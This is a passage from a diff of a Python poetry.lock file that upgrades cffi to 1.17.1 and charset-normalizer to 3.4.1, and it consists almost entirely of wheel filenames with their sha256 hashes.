"cffi-1.16.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:2d92b25dbf6cae33f65005baf472d2c245c050b1ce709cc4588cdcdd5495b520"}, - {file = "cffi-1.16.0-cp312-cp312-win32.whl", hash = "sha256:b2ca4e77f9f47c55c194982e10f058db063937845bb2b7a86c84a6cfe0aefa8b"}, - {file = "cffi-1.16.0-cp312-cp312-win_amd64.whl", hash = "sha256:68678abf380b42ce21a5f2abde8efee05c114c2fdb2e9eef2efdb0257fba1235"}, - {file = "cffi-1.16.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0c9ef6ff37e974b73c25eecc13952c55bceed9112be2d9d938ded8e856138bcc"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a09582f178759ee8128d9270cd1344154fd473bb77d94ce0aeb2a93ebf0feaf0"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e760191dd42581e023a68b758769e2da259b5d52e3103c6060ddc02c9edb8d7b"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:80876338e19c951fdfed6198e70bc88f1c9758b94578d5a7c4c91a87af3cf31c"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a6a14b17d7e17fa0d207ac08642c8820f84f25ce17a442fd15e27ea18d67c59b"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6602bc8dc6f3a9e02b6c22c4fc1e47aa50f8f8e6d3f78a5e16ac33ef5fefa324"}, - {file = "cffi-1.16.0-cp38-cp38-win32.whl", hash = "sha256:131fd094d1065b19540c3d72594260f118b231090295d8c34e19a7bbcf2e860a"}, - {file = "cffi-1.16.0-cp38-cp38-win_amd64.whl", hash = "sha256:31d13b0f99e0836b7ff893d37af07366ebc90b678b6664c955b54561fc36ef36"}, - {file = "cffi-1.16.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:582215a0e9adbe0e379761260553ba11c58943e4bbe9c36430c4ca6ac74b15ed"}, - {file = "cffi-1.16.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b29ebffcf550f9da55bec9e02ad430c992a87e5f512cd63388abb76f1036d8d2"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc9b18bf40cc75f66f40a7379f6a9513244fe33c0e8aa72e2d56b0196a7ef872"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9cb4a35b3642fc5c005a6755a5d17c6c8b6bcb6981baf81cea8bfbc8903e8ba8"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b86851a328eedc692acf81fb05444bdf1891747c25af7529e39ddafaf68a4f3f"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c0f31130ebc2d37cdd8e44605fb5fa7ad59049298b3f745c74fa74c62fbfcfc4"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f8e709127c6c77446a8c0a8c8bf3c8ee706a06cd44b1e827c3e6a2ee6b8c098"}, - {file = "cffi-1.16.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:748dcd1e3d3d7cd5443ef03ce8685043294ad6bd7c02a38d1bd367cfd968e000"}, - {file = "cffi-1.16.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8895613bcc094d4a1b2dbe179d88d7fb4a15cee43c052e8885783fac397d91fe"}, - {file = "cffi-1.16.0-cp39-cp39-win32.whl", hash = "sha256:ed86a35631f7bfbb28e108dd96773b9d5a6ce4811cf6ea468bb6a359b256b1e4"}, - {file = "cffi-1.16.0-cp39-cp39-win_amd64.whl", hash = "sha256:3686dffb02459559c74dd3d81748269ffb0eb027c39a6fc99502de37d501faa8"}, - {file = "cffi-1.16.0.tar.gz", hash = "sha256:bcb3ef43e58665bbda2fb198698fcae6776483e0c4a631aa5647806c25e02cc0"}, + {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, + {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, + {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, + {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, + {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, + {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, + {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, + {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, + {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, + {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, + {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, + {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, + {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, + {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, + {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, + {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, ] [package.dependencies] @@ -454,112 +447,116 @@ pycparser = "*" [[package]] name = "charset-normalizer" -version = "3.3.2" +version = "3.4.1" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false -python-versions = ">=3.7.0" +python-versions = ">=3.7" +groups = ["main"] files = [ - {file = "charset-normalizer-3.3.2.tar.gz", hash = "sha256:f30c3cb33b24454a82faecaf01b19c18562b1e89558fb6c56de4d9118a032fd5"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:25baf083bf6f6b341f4121c2f3c548875ee6f5339300e08be3f2b2ba1721cdd3"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:06435b539f889b1f6f4ac1758871aae42dc3a8c0e24ac9e60c2384973ad73027"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9063e24fdb1e498ab71cb7419e24622516c4a04476b17a2dab57e8baa30d6e03"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6897af51655e3691ff853668779c7bad41579facacf5fd7253b0133308cf000d"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1d3193f4a680c64b4b6a9115943538edb896edc190f0b222e73761716519268e"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd70574b12bb8a4d2aaa0094515df2463cb429d8536cfb6c7ce983246983e5a6"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8465322196c8b4d7ab6d1e049e4c5cb460d0394da4a27d23cc242fbf0034b6b5"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a9a8e9031d613fd2009c182b69c7b2c1ef8239a0efb1df3f7c8da66d5dd3d537"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:beb58fe5cdb101e3a055192ac291b7a21e3b7ef4f67fa1d74e331a7f2124341c"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e06ed3eb3218bc64786f7db41917d4e686cc4856944f53d5bdf83a6884432e12"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:2e81c7b9c8979ce92ed306c249d46894776a909505d8f5a4ba55b14206e3222f"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:572c3763a264ba47b3cf708a44ce965d98555f618ca42c926a9c1616d8f34269"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fd1abc0d89e30cc4e02e4064dc67fcc51bd941eb395c502aac3ec19fab46b519"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-win32.whl", hash = "sha256:3d47fa203a7bd9c5b6cee4736ee84ca03b8ef23193c0d1ca99b5089f72645c73"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:10955842570876604d404661fbccbc9c7e684caf432c09c715ec38fbae45ae09"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:802fe99cca7457642125a8a88a084cef28ff0cf9407060f7b93dca5aa25480db"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:573f6eac48f4769d667c4442081b1794f52919e7edada77495aaed9236d13a96"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:549a3a73da901d5bc3ce8d24e0600d1fa85524c10287f6004fbab87672bf3e1e"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f27273b60488abe721a075bcca6d7f3964f9f6f067c8c4c605743023d7d3944f"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ceae2f17a9c33cb48e3263960dc5fc8005351ee19db217e9b1bb15d28c02574"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:65f6f63034100ead094b8744b3b97965785388f308a64cf8d7c34f2f2e5be0c4"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:753f10e867343b4511128c6ed8c82f7bec3bd026875576dfd88483c5c73b2fd8"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a78b2b446bd7c934f5dcedc588903fb2f5eec172f3d29e52a9096a43722adfc"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e537484df0d8f426ce2afb2d0f8e1c3d0b114b83f8850e5f2fbea0e797bd82ae"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:eb6904c354526e758fda7167b33005998fb68c46fbc10e013ca97f21ca5c8887"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:deb6be0ac38ece9ba87dea880e438f25ca3eddfac8b002a2ec3d9183a454e8ae"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:4ab2fe47fae9e0f9dee8c04187ce5d09f48eabe611be8259444906793ab7cbce"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80402cd6ee291dcb72644d6eac93785fe2c8b9cb30893c1af5b8fdd753b9d40f"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-win32.whl", hash = "sha256:7cd13a2e3ddeed6913a65e66e94b51d80a041145a026c27e6bb76c31a853c6ab"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:663946639d296df6a2bb2aa51b60a2454ca1cb29835324c640dafb5ff2131a77"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:0b2b64d2bb6d3fb9112bafa732def486049e63de9618b5843bcdd081d8144cd8"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:ddbb2551d7e0102e7252db79ba445cdab71b26640817ab1e3e3648dad515003b"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:55086ee1064215781fff39a1af09518bc9255b50d6333f2e4c74ca09fac6a8f6"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8f4a014bc36d3c57402e2977dada34f9c12300af536839dc38c0beab8878f38a"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a10af20b82360ab00827f916a6058451b723b4e65030c5a18577c8b2de5b3389"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d756e44e94489e49571086ef83b2bb8ce311e730092d2c34ca8f7d925cb20aa"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90d558489962fd4918143277a773316e56c72da56ec7aa3dc3dbbe20fdfed15b"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac7ffc7ad6d040517be39eb591cac5ff87416c2537df6ba3cba3bae290c0fed"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:7ed9e526742851e8d5cc9e6cf41427dfc6068d4f5a3bb03659444b4cabf6bc26"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:8bdb58ff7ba23002a4c5808d608e4e6c687175724f54a5dade5fa8c67b604e4d"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:6b3251890fff30ee142c44144871185dbe13b11bab478a88887a639655be1068"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b4a23f61ce87adf89be746c8a8974fe1c823c891d8f86eb218bb957c924bb143"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:efcb3f6676480691518c177e3b465bcddf57cea040302f9f4e6e191af91174d4"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-win32.whl", hash = "sha256:d965bba47ddeec8cd560687584e88cf699fd28f192ceb452d1d7ee807c5597b7"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:96b02a3dc4381e5494fad39be677abcb5e6634bf7b4fa83a6dd3112607547001"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:95f2a5796329323b8f0512e09dbb7a1860c46a39da62ecb2324f116fa8fdc85c"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c002b4ffc0be611f0d9da932eb0f704fe2602a9a949d1f738e4c34c75b0863d5"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a981a536974bbc7a512cf44ed14938cf01030a99e9b3a06dd59578882f06f985"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3287761bc4ee9e33561a7e058c72ac0938c4f57fe49a09eae428fd88aafe7bb6"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42cb296636fcc8b0644486d15c12376cb9fa75443e00fb25de0b8602e64c1714"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0a55554a2fa0d408816b3b5cedf0045f4b8e1a6065aec45849de2d6f3f8e9786"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c083af607d2515612056a31f0a8d9e0fcb5876b7bfc0abad3ecd275bc4ebc2d5"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:87d1351268731db79e0f8e745d92493ee2841c974128ef629dc518b937d9194c"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bd8f7df7d12c2db9fab40bdd87a7c09b1530128315d047a086fa3ae3435cb3a8"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:c180f51afb394e165eafe4ac2936a14bee3eb10debc9d9e4db8958fe36afe711"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:8c622a5fe39a48f78944a87d4fb8a53ee07344641b0562c540d840748571b811"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-win32.whl", hash = "sha256:db364eca23f876da6f9e16c9da0df51aa4f104a972735574842618b8c6d999d4"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-win_amd64.whl", hash = "sha256:86216b5cee4b06df986d214f664305142d9c76df9b6512be2738aa72a2048f99"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:6463effa3186ea09411d50efc7d85360b38d5f09b870c48e4600f63af490e56a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = 